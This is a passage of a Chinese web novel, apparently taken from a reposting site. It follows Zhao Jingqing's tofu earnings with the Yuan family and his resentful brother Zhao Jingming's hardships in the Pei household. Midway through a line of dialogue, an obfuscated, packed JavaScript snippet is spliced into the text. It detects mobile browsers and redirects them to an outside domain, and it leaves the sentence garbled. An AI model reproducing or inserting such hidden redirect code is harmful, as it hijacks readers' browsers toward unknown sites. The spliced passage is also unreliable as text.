赵景清颔首:“嗯,星儿每天早起帮忙,辛苦啦!” 他本想着星儿的份算在给爹娘的里面,最后权衡之下,还是决定单独给他分一钱。他跟着辛苦十天,手里摸着钱,和看见钱却摸不着,是两样的感觉。 “景清哥哥你最好了!”袁星黏糊完赵景清,又捧着钱串子献宝似的在袁老二和林翠娥眼前晃荡,“爹娘,你们看我也有!” 林翠娥双眼莹润,似有水光,“好好好,你也有,可得收好不许乱用。” 袁星美得很,扬起头来,“我从不乱用,都攒着呢!” 袁牧望着高兴不已的爹娘,以及兴奋得就差蹦起来的星儿,桌下的手往旁边移,握住景清的。 赵景清浑身一僵,侧目看向袁牧。 袁牧低声道:“以后我都听你的。” “……啊?”赵景清茫然,咋就都要听他的了? 袁牧不言语,只是抓着他的手轻轻捏了捏。 林翠娥提着布袋子回屋,袁老二跟在后边关门。 林翠娥解开布袋子,将钱串子倒在桌上,二十个百文的钱串子,还有一串散的三十文钱。她一个个清点过去,双目逐渐湿润,捏着袖子擦了擦。 袁老二问:“咋还哭了?” “谁哭了,我这是高兴,这么好的夫郎都让咱们袁牧娶着了,人好,心地也好。”林翠娥取出藏着的装钱的木箱子,将钱串子全收进去,“年后去镇上换成银子。” 袁老二点点头,“袁大壮有福气。” “他不高兴这么叫他,你可别当面顺嘴叫出来。”林翠娥瞥他一眼,想着进账的钱,就止不住高兴,想找人好生说道说道,他家景清可真好啊。 藏好装钱的木箱子,林翠娥收拾出针线篓子,“我去和老三家的说会儿话。” 袁老二:“……”炫耀就炫耀吧,还说会儿话。 林翠娥端着针线篓子就出门,去往袁老三家的路上,瞧见从山脚通向裴家的田埂上,有人背着高高一背篓柴火,压弯了腰背,慢慢挪动。 她眼神好,定睛一瞧,不是赵景明还能是谁。 林翠娥不由想,还好是他嫁去裴家,不然这事儿就该是她家景清干。 21. 021 背上的柴火重得像山一样,赵景明咬牙苦撑,抬眼望着不远处的裴家土墙茅屋顶,一步一步挪腾。 一次不该背这么多,可背两次的话,回家再进山,再下山天就黑了,他实在不想再进山,只好一口气全背回来。 砍个柴,手掌还被树枝上的尖刺划了道口子,真是背到家了,还好划的不深。 赵景明抿直了唇,从前他哪儿受过这些苦。 进山打柴哪儿轮得到夫郎去,又不是家里没男人。西安整日要读书,这些事儿顾不上,可家里还有两个小叔子,一个十七,一个十五,年岁不小了,能顶个大人使。 半大的人,干啥啥不行,吃啥啥不够。轮到干活找人的时候,人影子也瞧不见一个。 赵景明火冒三丈,要不是家里实在没多余的柴火,再不砍柴回去,烧火做饭的柴都没了,赵景明是断然不愿自己进山砍柴。 西安还要读书呢,饿着肚子咋读书? 赵景明背着柴一步步挪腾,只要西安能安心读书,五年后高中,带着他享福,他吃点苦没啥。 即便有盼头,可他心里也止不住的火气。 前两天终于请到杀猪匠来,喂的两头猪终于能杀了,死老太婆不说这疼那疼,不摊在床上了,跳起来盯着人称重、杀猪。 两头猪出栏拢共两百七十斤,死老太婆转头骂他把猪喂瘦了,要打他! 赵景明哪受过这个气,他可知道怎么拿捏男人,扭头对着裴西安红了眼,泪水连珠串的落下,委屈的不行。 裴西安当然护着他,气得死老太婆跳脚大骂,赵景明心里才畅快。 杀完猪,死老太婆把钱一收,又开始作妖,留的十斤肉连带猪下水,腌好全部提进自个屋里,生怕有人和她抢肉吃! 死老太婆这是防着他呢! 他缺这一口吃的?赵景明气乐了,不给人吃,她等着生蛆给蛆吃吧!呸! 最让赵景明气不过的是,本以为猪卖了活就少了,没成想还得他进山砍柴!裴老二、裴老三都是吃干饭的!裴家没一个好东西! 西安除外。 骂骂咧咧一路,赵景明终于回到裴家,迫不及待靠着柴房卸下背篓,弯了一路的腰终于直起来,酸痛得赵景明面容扭曲,缓了好一会儿才缓过来。 口干舌燥,赵景明锤着腰踏入厨房,提水壶倒水喝,岂料一入手轻飘飘的,是空的!赵景明火气升腾,“小树儿!” 小树儿从堂屋出来,低头站在厨房门口,赵景明转身,“水呢?水咋没了?这么点小事你都干不好,你还能干啥?!” “……刚刚大哥要添水,我倒给他了,刚给大哥端过去,正要回来烧。”小树儿瑟缩道。 赵景明火气堵在心口,既然是西安要喝,他喝就喝了吧,赵景明皱眉道:“快点烧,渴死我了。” 小树儿点点头,进厨房舀水烧水。 赵景明累得慌,想着先回屋歇会儿,推门进屋,裴西安正倚在窗边看书,赵景明迈入房间的脚微顿,不知道他有没有听见自己骂小树儿。 “回来了?”裴西安抬眸,看见赵景明疲惫脏乱的模样,目光微顿,仍然露出笑意,上前摘去他发丝中的枯叶,“累着了吧,我给你捏捏肩。” “嗯,”赵景明露出笑来,疲惫一扫而空,“你的手是用来拿毛笔写字作画的,我哪舍得你给我捏肩。” 裴西安没再坚持,拿杯子倒水递给他,“那先喝点水。” 赵景明接过坐下,“好。” “景明,”裴西安在他身旁坐下,“我想和你说个事。” 赵景明喝着水,温热的水很好的滋润他快冒烟的嗓子,他问:“啥事儿?” 裴西安迟疑了会儿,才开口道:“丰年想去省城三川书院读书……你也知道人走茶凉,我爹去世那么些年,留下的人情人脉虽照拂我,但能力有限。想送丰年去书院,还有关系要疏通,与我爹交好的世叔过年回镇上,我想去他家中拜访,空着手上门始终不好,我想……” 好歹他是个读书人,同夫郞开口说钱的事,终归难以启齿,他停顿了好一会儿,“你手里可有余钱,我……” 裴西安说到一半,仍是没能说完。 赵景明愣了片刻才反应过来,西安这是在问他要钱?赵景明怔怔看着他。 裴西安简直无地自容,他别开目光不敢与赵景明对视,“你权当我没开这个口。” “你……”赵景明回神,丰年如果能去省城读书,以他的聪明劲儿,说不定也能考个功名回来,西安以后是要当官的,他家中弟弟有功名,也好为他撑腰。 这般想罢,赵景明问:“你要用多少?” 裴西安回身看向他,神色动容,“一两。” “那么多!”赵景明惊道,“咋要一两银子?!” 裴西安道:“世叔家中富贵,上门拜访,又是求人办事儿,需得拿足了诚意。” 赵景明一想,是这个理,“成,我拿给你。” 赵景明走到衣柜旁,窸窸窣窣一阵翻找,最后转身拿出一小块碎银和几个铜板,递给裴西安前,他忍不住道:“我手里也就这点,多的没有了。” 裴西安接过银钱,眸中带笑,“这次拜访完,丰年去省城读书的关系许是就能走通了。” 赵景明点点头,依然舍不得拿出去的一两银钱,他手里拢共一两七钱,现在只剩下七钱,赵景明越想越不对味,“明儿我和你一起去镇上。” 裴西安笑意微僵,“你也去?” 赵景明点头,“我要回家一趟。” 钱是拿去给丰年走关系,怎么着也该爹娘出,哪轮得到他,他得去找娘要。 裴西安颔首,“成。” 落日西斜没入山间,黑夜沉沉,偶有两声狗吠。 丑时悄然而至,要到起床磨豆子做豆腐的时间了,赵景清迷迷糊糊的眼睛都睁不开,掀开被子坐起来,摸黑就要下床。 察觉到动静,袁牧将醒未醒,声音喑哑,“干啥?” 赵景清睡意朦胧,“做豆腐,到时间了。” 袁牧一激灵,猛地坐起来,忙掀开被子下床,摸黑踩上鞋。 “不对!”赵景清一拍脑袋,“忘记了,今儿不做豆腐。” 袁牧回身,“……” 黑暗中,只能模糊看到对方的身影,床上、床下两道身影隔空相望。 袁牧默默坐回床上,窸窸窣窣一阵棉被摩擦声后,两人安稳躺下,赵景清轻咳一声,“接着睡吧。” “嗯。” 短暂的寂静后,两人不由笑出声。 “可吓坏我了。”袁牧笑着道,翻身朝向景清,拉近距离闭上眼,“睡觉。” 夜尽天明,晨曦微光洒下。 睡了个整觉,赵景清早早就醒了,好不容易挨到天亮,说什么也不想再躺着,起床穿衣梳头。 袁牧也睡不着,一同起了。 清晨的时光好似回到没卖豆腐前,吃完早饭,赵景清去捡鸡蛋、铲鸡屎,好久没捡鸡蛋,赵景清觉着他从母鸡身下抢蛋的技艺都生疏不少。 林翠娥在厨房烧水,支使袁牧和袁老二去多打些水回来,今儿烧水洗澡洗头,洗干净好过年。 怕受凉感染风寒,洗澡洗头是分开的,洗完就抱着火兜儿烤火,先给头发烘干了。 赵景清抱着火兜儿,烤得脸蛋红扑扑的,鼻尖萦绕着澡豆的木质香,是从头发上溢出的。 深冬里洗澡是麻烦了些,但抛开这不论,好好洗个澡,确实舒服。平日里用帕子擦,始终及不上彻底洗个干净澡。 从前在赵家,天冷了只有他打水给他们烧水洗澡的份,可轮不上他。 袁牧从门外迈进来,头发湿漉漉的,手里拿着一张布帕子,赵景清把火兜儿让给他,接过帕子帮他擦头发。 袁牧坐着,舒服得眸子微眯。 “景清,下午咱去七叔公家,请他再给你把把脉。”袁牧忽然道。 赵景清迟疑,“不用了,我现在觉着身体挺好的。” 药可苦了,他不想喝。 袁牧不同意,“得去,对症下药也好快点给你身体养好。” 赵景清:“……好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779770|174790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 用完午饭,袁牧和赵景清便往七叔公那去,他家在村口。那儿有几个拐着弯的坡,坡上边是七叔公家,坡下边是村长家。 他们到时,七叔公正坐在屋檐下踩捣药臼捣药,院里满是药材的气息。 袁牧道:“七叔公,忙着呢?” 七叔公看他一眼,停下脚上的力道,“带夫郞来诊脉啦?来,进屋。” 在堂屋坐下,赵景清伸出手放在脉枕上,七叔公枯枝似的手指搭他脉上,好一会儿才松开,“脉还是细,但比上次好多了,养得不错。” 袁牧笑了笑,“还吃药吗?” 赵景清唇角微抿,看向七叔公。 七叔公道:“不吃了,是药三分毒,你以为药好啊?回去多吃点好的,油水足的,顿顿都吃饱了,自然就补起来了。” 赵景清暗暗松了口气,袁牧点点头,“成。” “不过有一点要注意,别太早要孩子,身体养好了再要。”七叔公叮嘱。 赵景清只觉脸像火在烧,咋还说这个。 袁牧轻咳一声,“好,我们记下了。” 七叔公站起来,“其他的没了。” 袁牧和赵景清亦起身,道谢离开。 下坡路上,两人都不太自在,说不要孩子,谁知道他两还没圆房呢? “……景清,我有事儿忘问七叔公,我回去一趟,你在这儿等我。”袁牧道,东看西看就是不敢看赵景清。 赵景清脸上的热气还没消,垂着眼点点头,“好。” 与此同时,赵景明气势汹汹大步走向村子,浑身冒着火气。 他回家和娘提了那一两银子的事,本想着娘向来疼爱他,家里也不缺钱,娘会直接把钱给他。 怎想娘听他一开口,脸色就变了,说帮弟弟读书的事儿,他出点钱怎么了,还回家要。他顶两句嘴,娘就眼不是眼鼻子不是鼻子的骂他,说他嫁给裴西安,回家都空着手,不说往娘家拿东西,反而还往夫家倒腾,她咋生了他这么个蠢哥儿。 赵景明又气又委屈,推门就走了,饭都没吃。 回来路上赵景明越想越气,越想越气,心中委屈更甚,全部积压在心口,娘怎么能这么对他?! “我二嫂嫂这些天可开心得很,夸景清的话跟不要钱似的,昨儿还来给我炫耀,景清给他们老两口分钱了,笑得嘴角咧耳朵后边去,看来他们卖豆腐没少赚钱。” “那肯定,后面一个石磨不够用,还问我家借呢。诶,你偷偷给我说,他们赚了多少?” 赵景明不由驻足,前边是村长家,听声音是村长媳妇和袁老三的夫郎在说话。 “这我哪知道,人家又不会告诉我。要我说也是景清拎得清,钱分了还能再赚,人心离了可就回不去了。” “你这话说得对,景清人好,袁家老两口人也好,属于是好人遇到了好人。你听说没,裴西安他老娘跟人哭,说赵景明是个狐媚子,勾得儿子胳膊肘往外拐,干活还干不利索,猪都给养瘦了。” “哈哈哈哈真这样说啊?” “那不是,还能有假。赵景明也不是个省油的灯,裴家可有得闹腾呢。” “可劲折腾去吧,还好他没嫁进咱老袁家,不然哪里有安生日子过。景清卖豆腐,大哥家和咱家还沾光不时有豆腐吃,我给你说,景清做得豆腐着实好吃。” “是吗,后面去他家买两块试试。” “哪还用得着你买,等他们再送给我,我匀给你。” …… 赵景明愣在原地,连日来受得委屈,咽下的苦涩,强压的怒气,在这一刻决堤。他胸膛起伏,满腔的愤懑无从发泄。 凭什么赵景清上一世有裴西安护着?!这辈子有袁家疼着?! 凭什么赵景清能过得好?! 凭什么?! 疯狂叫嚣的情绪灼红了赵景明的眼,娘说得没错,他是贱蹄子,就该呆在烂泥地里! 赵景明闷头走,脚下方向是去袁家,没走几步,就瞧见不远处坡上站着个人。 不是赵景清是谁!